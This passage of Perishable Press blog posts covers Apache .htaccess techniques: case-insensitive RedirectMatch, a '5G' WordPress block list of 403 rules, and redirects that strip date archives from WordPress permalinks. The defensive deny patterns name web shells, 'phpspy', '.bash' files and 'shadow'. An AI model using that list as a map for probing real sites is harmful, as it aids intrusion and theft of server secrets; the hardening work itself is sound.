Notice the [NC] flag? That tells Apache to ignore casing for the pattern match. This works great, but there are situations where you would rather just keep it simple with good ‘ol RedirectMatch. When? Let me give you an example with the recent WordPress add-on for the 5G Blacklist, which originally looked like this:

# 5G WP
RedirectMatch 403 /\$\&
RedirectMatch 403 /\.(bash|git|hg|log|svn|swp|tar)
RedirectMatch 403 /(1|contact|i|index1|iprober|phpinfo|phpspy|product|signup|t|test|timthumb|tz|visit|webshell|wp-signup).php
RedirectMatch 403 /(author-panel|class|database|manage|phpMyAdmin|register|submit-articles|system|usage|webmaster)/?$
RedirectMatch 403 /(=|_mm|cgi|cvs|dbscripts|jsp|rnd|userfiles)

Simple and effective, made super lightweight and awesome mainly because of the flexible RedirectMatch directive. But notice the “phpMyAdmin” in the penultimate directive — as Andy W reminds us:

Your WP blacklist checks for “phpMyAdmin”. As I understand it RedirectMatch is case sensitive so it wouldn’t block “phpmyadmin” (all lowercase) which I recollect seeing on old logs for my site.

Pattern-matching with case-insensitivity increases the scope of your .htaccess redirect rules. For the RedirectMatch directive, here’s how to do it..

Case-Insensitive RedirectMatch

Fortunately, Apache makes it easy to declare case-insensitivity with RedirectMatch. Simply precede the pattern with “(?i)” (without the quotes). Returning to our initial example, we can get case-insensitivity like so:

RedirectMatch 301 (?i)/phpMyAdmin http://example.com/somewhere-else/

That’s all you need to match all the crazy variations for requests such as phpMyAdmin:

phpMYadmin
PHPmyAdmin
phpmyadmin
PHPMYADMIN
PHPMyAdmin
phpMyAdmin

And here is the 5G WP add-on, now with case-insensitivity:

RedirectMatch 403 /\$\&
RedirectMatch 403 (?i)/\.(bash|git|hg|log|svn|swp|tar)
RedirectMatch 403 (?i)/(1|contact|i|index1|iprober|phpinfo|phpspy|product|signup|t|test|timthumb|tz|visit|webshell|wp-signup).php
RedirectMatch 403 (?i)/(author-panel|class|database|manage|phpMyAdmin|register|submit-articles|system|usage|webmaster)/?$
RedirectMatch 403 (?i)/(=|_mm|cgi|cvs|dbscripts|jsp|rnd|userfiles)

When it comes to redirecting most requests, its all lowercase anyway. Or you can use RewriteRule to establish case-insensitivity. But for some situations, it’s good to know that you can also roll with RedirectMatch by simply adding the (?i) to the rule.

WordPress Add-on for 5G Blacklist

Jeff Starr — Thu, 19 Apr 2012 16:50:39 +0000

Ill requests and malicious scans have been spiking recently, to the point where server performance was really taking a hit. One scan in particular hammered the server with thousands of bad requests in just a few minutes. There are people out there with strong scripts and small minds that are constantly scanning sites for vulnerabilities, and much of what I’ve seen is aimed primarily at WordPress.

That sort of mindless phishing and scanning for crumbs and holes is just silly. So I whipped up this WordPress add-on for the 5G Blacklist, for those who are using it. For those who aren’t but are using WordPress, this add-on works perfectly well on its own — i.e., you don’t need the 5G to use it.

5G WordPress Add-on

5G WP add-on is designed to help protect your site against a broad spectrum of bad URL requests, focusing on the latest wave of malicious server scans. Simply copy/paste the following code into your site’s root .htaccess file (beneath the 5G, if present):

# 5G:[WordPress]

 RedirectMatch 403 /\$\&
 RedirectMatch 403 (?i)/\&(t|title)=
 RedirectMatch 403 (?i)/\.(bash|git|hg|log|svn|swp|tar)
 RedirectMatch 403 (?i)/(1|contact|i|index1|iprober|phpinfo|phpspy|product|signup|t|test|timthumb|tz|visit|webshell|wp-signup).php
 RedirectMatch 403 (?i)/(author-panel|class|database|manage|phpMyAdmin|register|submit-articles|system|usage|webmaster)/?$
 RedirectMatch 403 (?i)/(=|_mm|cgi|cvs|dbscripts|jsp|rnd|shadow|userfiles)

No editing is required up front, but you may need to fine-tune depending on which plugins, themes you may be using. For example, if the XYZ widget suddenly stops working, remove the 5G add-on from your .htaccess file and either 1) walk away, 2) test further and remove the offending character string. If all else fails, leave a comment and someone will try to help.

I can only do so much testing, so if you notice anything weird or if something breaks, leave a comment or send an email — your feedback will help make the 5G add-on even better.

How it works, what it does

Once the code is in place, all URL requests are checked against each of the character strings. For example, let’s say some scumbag attacks your site (as they did with mine recently) with a barrage of random strings:

http://example.com/tag/icons/rndWRr8VfM0B
http://example.com/tag/icons/rndqyG87KROd
http://example.com/tag/icons/rnd2JSAL4n8a
http://example.com/tag/icons/rndA52wTv0ma
http://example.com/tag/icons/rndUDESMbgRC
http://example.com/tag/icons/rndy24JOTQrN
http://example.com/tag/icons/rndCHSkcgPNP
http://example.com/tag/icons/rndXd9XF8il5
http://example.com/tag/icons/rndUFvb60VNk
http://example.com/tag/icons/rndBCvCRsKnB
.
.
.

The 5G directives check the URLs and match them against the “/rnd” character string, and then silently blocks the entire swarm from accessing your site. And that’s just one of many bad requests that are blocked, here’s a list showing some of the other requests blocked by the 5G add-on.

For whatever reason, those phrases, files, and directories are among the most heavily scanned-for resources in recent months. The 5G WP add-on aims to neutralize this new wave of attacks by working with the 5G Blacklist, but is also effective as stand-alone protection for your WordPress-powered site.

Redirect WordPress Date Archives with .htaccess

Jeff Starr — Mon, 16 Apr 2012 22:25:18 +0000

Restructuring a WordPress website may involve removing the subdomain from URLs/permalinks. For example, I recently removed the original WP-install subdirectory from Perishable Press to simplify site structure and optimize WordPress permalinks. There are PHP scripts and WP plugins that might work for this, but in most cases .htaccess is optimal when changing URL structure and redirecting traffic. Here’s a quick example to help visualize the concept:

Old structure (w/ subdomain)
http://perishablepress.com/press/2011/
http://perishablepress.com/press/2011/02/
http://perishablepress.com/press/2011/02/15/

New structure (w/out subdomain)
http://perishablepress.com/2011/
http://perishablepress.com/2011/02/
http://perishablepress.com/2011/02/15/

We also want to redirect date-archive permalinks when they’re paged or missing the trailing slash. Note that here we’re dealing with WordPress date archives, which is different than simply removing the “year/month/day” from your single-post permalinks. We’ll get to doing that a bit later, for now let’s remove the subdirectory from the date-based archives.

Redirecting date archives

First, if you’re familiar with using .htaccess, you may be asking, “why is this even necessary? Why not just redirect *everything* from the subdirectory?” Good question. If you have WP installed in a subdirectory structure like this:

example.com/wordpress/
example.com/wordpress/wp-admin/
example.com/wordpress/wp-content/
example.com/wordpress/wp-includes/
...

..and want to redirect to basically the same thing, only without the wordpress subdirectory:

example.com/
example.com/wp-admin/
example.com/wp-content/
example.com/wp-includes/
...

such that there is basically a one-to-one correspondence between old and new files, then YES you can just redirect everything wholesale with a simple line of .htaccess:

RedirectMatch 301 ^/wordpress/(.*) http://example.com/$1

and be done with it — no need to bother with the other redirect methods in this tutorial. If, however, your site restructuring is more complicated, perhaps involving stuff like:

you also want to remove the year/month/day from your single-post permalinks
you are removing/renaming/consolidating directories, so not 1-to-1
you are changing tag/category/taxonomy names, so not 1-to-1
other subdirectory installations of WordPress are involved
you’re just nuts for even thinking about this crazy stuff

If any of these apply, then the easy way is out and you’ve got some thinking to do. I’m here to help with that, starting with redirecting your date-based archives. Here is the magic code to add to your site’s root .htaccess file (after making a backup copy of the original):

# REDIRECT WP DATE ARCHIVES
RedirectMatch 301 ^/wordpress/([0-9]+)/?$         http://example.com/$1/
RedirectMatch 301 ^/wordpress/([0-9]+)/page/(.*)$ http://example.com/$1/page/$2

RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)/?$         http://example.com/$1/$2/
RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)/page/(.*)$ http://example.com/$1/$2/page/$3

RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)/([0-9]+)/?$         http://example.com/$1/$2/$3/
RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)/([0-9]+)/page/(.*)$ http://example.com/$1/$2/$3/page/$4

There are three sections to this code: yearly archives, monthly archives, and daily archives. The only editing that you need to do is change the “wordpress” in each line to match your subdirectory’s name, and then also replace all instances of example.com with your domain name.

Eliminate all date-based archives

You may have asked at some point, “why bother at all with date-based archives?” After all, it’s redundant info that may contribute to “duplicate-content” penalties in search-engine results. I think most blogs these days emphasize categories and tags over the myriad other archive types. Many themes tend to ignore the date-based archives and popular SEO plugins provide easy ways of no-indexing/removing them from search engines. So let’s just eliminate date archives entirely, say by redirecting all of it to your home page, where the additional link equity may provide some SEO benefits to your site. So that’s the spiel — here’s how to do it..

Step 1

Add the following code to your site’s root .htaccess file:

# REDIRECT DATE ARCHIVES TO HOME PAGE
RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)?/?([0-9]+)?/?$    http://example.com/
RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)?/?([0-9]+)?/?page http://example.com/

As discussed in the previous section, edit or remove the subdomain to match your own, and then change the example.com to whatever makes sense (e.g., your home page). Test thoroughly using as many different archive/permalink formats as possible.

Step 2

Once the date archives have been redirected via .htaccess, you should go through your theme and remove/edit any date-based archive links and/or code. A typical location for such would be archive.php, archives.php, index.php, and of course date.php if it actually exists. Once your theme is cleaned up, you’re all set, but should keep an eye on any weird activity in your traffic logs. As straightforward as it seems, it’s a big move, and you want to be careful.

Removing year/month/day from single-post permalinks

Removing the year/month/day from your single-post permalinks is another way to improve the SEO integrity of your WordPress-powered site. Here’s the code to do it via .htaccess:

# REMOVE DATE FROM WP POST PERMALINKS
RedirectMatch 301 ^/wordpress/([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ http://example.com/$4

As-is, this technique also removes the subdirectory (/wordpress/), so edit accordingly or remove if not needed. Once in place, this code will change your single-view permalinks from overkill:

http://example.com/wordpress/2012/04/12/post-name/

..to elegance:

http://example.com/post-name/

Remember to test thoroughly after making any changes! As always, questions & comments welcome. Thanks for reading :)

No related articles for this post. Visit the archives

Perishable Press

15+ Collections of Minimalist Web Design

6G Beta

6G Blacklist beta

Behind the scenes / development strategy

Front Line: Request strings

Filtering Query strings

Blocking Bad User-agents

Blocking Bad Referrers

Blocking Bad IPs

Further reading..

Thanks to..

Important notes..

Add Google+ Share Button to Any Site

What is Google Share?

How to add the Google+ Share button to your site

How to customize the Google+ Share button

Easy way for basic customizing

Asynchronous JavaScript loading

Add the Google+ Share button to WordPress

How to style the Share button with CSS

Notes & stuff

Blank Space / Whitespace Character for .htaccess

Examples of blank-space characters in URL requests

How to match the blank-space/whitespace character with .htaccess

Matching whitespace in query strings

Case-Insensitive RedirectMatch

Case-Insensitive RedirectMatch

WordPress Add-on for 5G Blacklist

5G WordPress Add-on

How it works, what it does

Redirect WordPress Date Archives with .htaccess

Redirecting date archives

Eliminate all date-based archives

Step 1

Step 2

Removing year/month/day from single-post permalinks